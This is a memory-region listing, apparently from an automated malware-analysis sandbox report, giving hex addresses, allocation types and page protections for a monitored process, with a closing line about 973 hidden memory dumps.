unkown
|
page execute read
|
||
|
4901000
|
trusted library allocation
|
page read and write
|
||
|
3B98000
|
heap
|
page read and write
|
||
|
29B0000
|
trusted library allocation
|
page read and write
|
||
|
813C000
|
stack
|
page read and write
|
||
|
27E1000
|
heap
|
page read and write
|
||
|
817000
|
heap
|
page read and write
|
||
|
2F97000
|
heap
|
page read and write
|
||
|
3C43000
|
heap
|
page read and write
|
||
|
2770000
|
trusted library allocation
|
page read and write
|
||
|
766000
|
heap
|
page read and write
|
||
|
7B4000
|
heap
|
page read and write
|
||
|
457E000
|
trusted library allocation
|
page read and write
|
||
|
34D4000
|
heap
|
page read and write
|
||
|
459000
|
system
|
page execute and read and write
|
||
|
19C000
|
stack
|
page read and write
|
||
|
6FA0000
|
trusted library allocation
|
page read and write
|
||
|
8A80000
|
trusted library allocation
|
page read and write
|
||
|
3FA8000
|
trusted library allocation
|
page read and write
|
||
|
6E7E000
|
stack
|
page read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
80FE000
|
stack
|
page read and write
|
||
|
448B000
|
trusted library allocation
|
page read and write
|
||
|
25AF000
|
stack
|
page read and write
|
||
|
27B1000
|
heap
|
page read and write
|
||
|
5D25000
|
heap
|
page read and write
|
||
|
6CD0000
|
trusted library allocation
|
page read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
34A7000
|
heap
|
page read and write
|
||
|
6E08000
|
trusted library allocation
|
page read and write
|
||
|
1C0000
|
heap
|
page read and write
|
||
|
7FBC0000
|
trusted library allocation
|
page execute and read and write
|
||
|
776F000
|
heap
|
page read and write
|
||
|
490000
|
heap
|
page read and write
|
||
|
570000
|
heap
|
page read and write
|
||
|
782000
|
heap
|
page read and write
|
||
|
584D000
|
heap
|
page read and write
|
||
|
2F90000
|
heap
|
page read and write
|
||
|
817000
|
heap
|
page read and write
|
||
|
27CB000
|
heap
|
page read and write
|
||
|
3503000
|
heap
|
page read and write
|
||
|
2DA0000
|
heap
|
page read and write
|
||
|
2150000
|
heap
|
page read and write
|
||
|
27C4000
|
heap
|
page read and write
|
||
|
3513000
|
heap
|
page read and write
|
||
|
36EE000
|
stack
|
page read and write
|
||
|
34D8000
|
heap
|
page read and write
|
||
|
27BA000
|
heap
|
page read and write
|
||
|
4B28000
|
heap
|
page read and write
|
||
|
3516000
|
heap
|
page read and write
|
||
|
5831000
|
heap
|
page read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
470000
|
heap
|
page read and write
|
||
|
27CB000
|
heap
|
page read and write
|
||
|
3B50000
|
heap
|
page read and write
|
||
|
29B0000
|
trusted library allocation
|
page read and write
|
||
|
37FF000
|
unkown
|
page read and write
|
||
|
7E2000
|
heap
|
page read and write
|
||
|
6CC0000
|
trusted library allocation
|
page read and write
|
||
|
81D0000
|
trusted library allocation
|
page read and write
|
||
|
48A7000
|
trusted library allocation
|
page read and write
|
||
|
4474000
|
trusted library allocation
|
page read and write
|
||
|
5CFB000
|
heap
|
page read and write
|
||
|
2161000
|
heap
|
page read and write
|
||
|
31CD000
|
heap
|
page read and write
|
||
|
820000
|
heap
|
page read and write
|
||
|
5E4000
|
heap
|
page read and write
|
||
|
4190000
|
heap
|
page read and write
|
||
|
17C000
|
stack
|
page read and write
|
||
|
8881000
|
heap
|
page read and write
|
||
|
2809000
|
heap
|
page read and write
|
||
|
26FD000
|
stack
|
page read and write
|
||
|
209F000
|
stack
|
page read and write
|
||
|
3221000
|
heap
|
page read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
27CB000
|
heap
|
page read and write
|
||
|
27CF000
|
heap
|
page read and write
|
||
|
339E000
|
stack
|
page read and write
|
||
|
455B000
|
trusted library allocation
|
page read and write
|
||
|
34A7000
|
heap
|
page read and write
|
||
|
2178000
|
heap
|
page read and write
|
||
|
760000
|
heap
|
page read and write
|
||
|
301F000
|
stack
|
page read and write
|
||
|
85F0000
|
heap
|
page read and write
|
||
|
405E000
|
stack
|
page read and write
|
||
|
27BA000
|
heap
|
page read and write
|
||
|
4C4000
|
heap
|
page read and write
|
||
|
395A000
|
heap
|
page read and write
|
||
|
2169000
|
heap
|
page read and write
|
||
|
190000
|
heap
|
page read and write
|
||
|
38FF000
|
stack
|
page read and write
|
||
|
9395000
|
direct allocation
|
page execute and read and write
|
||
|
4C5000
|
heap
|
page read and write
|
||
|
77BB000
|
trusted library allocation
|
page read and write
|
||
|
5477000
|
trusted library allocation
|
page read and write
|
||
|
4913000
|
trusted library allocation
|
page read and write
|
||
|
3FD0000
|
heap
|
page execute and read and write
|
||
|
4C4000
|
heap
|
page read and write
|
||
|
2D16000
|
heap
|
page read and write
|
||
|
2161000
|
heap
|
page read and write
|
||
|
2750000
|
trusted library allocation
|
page read and write
|
||
|
30B000
|
heap
|
page read and write
|
||
|
5FD5000
|
heap
|
page read and write
|
||
|
7A9000
|
heap
|
page read and write
|
||
|
8AC000
|
heap
|
page read and write
|
||
|
7E0000
|
heap
|
page read and write
|
||
|
5D58000
|
heap
|
page read and write
|
||
|
2180000
|
heap
|
page read and write
|
||
|
27BA000
|
heap
|
page read and write
|
||
|
793000
|
heap
|
page read and write
|
||
|
4C0000
|
heap
|
page read and write
|
||
|
27E1000
|
heap
|
page read and write
|
||
|
3168000
|
trusted library allocation
|
page read and write
|
||
|
27EE000
|
heap
|
page read and write
|
||
|
27D2000
|
heap
|
page read and write
|
||
|
27B1000
|
heap
|
page read and write
|
||
|
782000
|
heap
|
page read and write
|
||
|
34AD000
|
heap
|
page read and write
|
||
|
674E000
|
stack
|
page read and write
|
||
|
263E000
|
stack
|
page read and write
|
||
|
470000
|
heap
|
page read and write
|
||
|
5832000
|
heap
|
page read and write
|
||
|
45C000
|
system
|
page execute and read and write
|
||
|
27D1000
|
heap
|
page read and write
|
||
|
48F4000
|
trusted library allocation
|
page read and write
|
||
|
81E000
|
stack
|
page read and write
|
||
|
2F60000
|
heap
|
page read and write
|
||
|
550000
|
heap
|
page read and write
|
||
|
2581000
|
heap
|
page read and write
|
||
|
7E0000
|
heap
|
page read and write
|
||
|
27B0000
|
heap
|
page read and write
|
||
|
678E000
|
stack
|
page read and write
|
||
|
27B8000
|
heap
|
page read and write
|
||
|
27EB000
|
heap
|
page read and write
|
||
|
34DE000
|
heap
|
page read and write
|
||
|
7C4000
|
heap
|
page read and write
|
||
|
7140000
|
direct allocation
|
page read and write
|
||
|
27D1000
|
heap
|
page read and write
|
||
|
720000
|
heap
|
page read and write
|
||
|
7A20000
|
trusted library allocation
|
page read and write
|
||
|
27BB000
|
heap
|
page read and write
|
||
|
2175000
|
heap
|
page read and write
|
||
|
8635000
|
trusted library allocation
|
page read and write
|
||
|
401000
|
unkown
|
page execute read
|
||
|
610000
|
trusted library allocation
|
page read and write
|
||
|
401000
|
unkown
|
page execute read
|
||
|
400000
|
unkown
|
page readonly
|
||
|
560000
|
heap
|
page read and write
|
||
|
584A000
|
heap
|
page read and write
|
||
|
7790000
|
trusted library allocation
|
page read and write
|
||
|
7A9000
|
heap
|
page read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
37EE000
|
stack
|
page read and write
|
||
|
5852000
|
heap
|
page read and write
|
||
|
2171000
|
heap
|
page read and write
|
||
|
400000
|
unkown
|
page readonly
|
||
|
7C7000
|
heap
|
page read and write
|
||
|
5FBF000
|
heap
|
page read and write
|
||
|
34D4000
|
heap
|
page read and write
|
||
|
5D28000
|
heap
|
page read and write
|
||
|
620000
|
trusted library allocation
|
page read and write
|
||
|
3503000
|
heap
|
page read and write
|
||
|
68F0000
|
heap
|
page read and write
|
||
|
782000
|
heap
|
page read and write
|
||
|
27B8000
|
heap
|
page read and write
|
||
|
760000
|
heap
|
page read and write
|
||
|
6B82000
|
heap
|
page read and write
|
||
|
5E4000
|
heap
|
page read and write
|
||
|
478000
|
unkown
|
page readonly
|
||
|
4C5000
|
heap
|
page read and write
|
||
|
32FB000
|
stack
|
page read and write
|
||
|
2750000
|
heap
|
page read and write
|
||
|
35C0000
|
heap
|
page read and write
|
||
|
5D04000
|
trusted library allocation
|
page read and write
|
||
|
215C000
|
heap
|
page read and write
|
||
|
27B8000
|
heap
|
page read and write
|
||
|
4A6E000
|
stack
|
page read and write
|
||
|
4C5000
|
heap
|
page read and write
|
||
|
5F6F000
|
stack
|
page read and write
|
||
|
5852000
|
heap
|
page read and write
|
||
|
5D40000
|
heap
|
page read and write
|
||
|
3C06000
|
heap
|
page read and write
|
||
|
7CC000
|
heap
|
page read and write
|
||
|
337D000
|
stack
|
page read and write
|
||
|
219D000
|
heap
|
page read and write
|
||
|
41B000
|
system
|
page execute and read and write
|
||
|
27E9000
|
heap
|
page read and write
|
||
|
41A5000
|
trusted library allocation
|
page read and write
|
||
|
79F0000
|
heap
|
page read and write
|
||
|
5FD8000
|
heap
|
page read and write
|
||
|
4C4000
|
heap
|
page read and write
|
||
|
7A1000
|
heap
|
page read and write
|
||
|
27D1000
|
heap
|
page read and write
|
||
|
27C4000
|
heap
|
page read and write
|
||
|
27B9000
|
heap
|
page read and write
|
||
|
3516000
|
heap
|
page read and write
|
||
|
27BE000
|
heap
|
page read and write
|
||
|
3950000
|
heap
|
page read and write
|
||
|
817C000
|
stack
|
page read and write
|
||
|
6FC0000
|
trusted library allocation
|
page read and write
|
||
|
5E4000
|
heap
|
page read and write
|
||
|
27D0000
|
heap
|
page readonly
|
||
|
478000
|
unkown
|
page readonly
|
||
|
215C000
|
heap
|
page read and write
|
||
|
3450000
|
heap
|
page read and write
|
||
|
5831000
|
heap
|
page read and write
|
||
|
34F5000
|
heap
|
page read and write
|
||
|
400000
|
unkown
|
page readonly
|
||
|
27CB000
|
heap
|
page read and write
|
There are 973 hidden memdumps, click here to show them.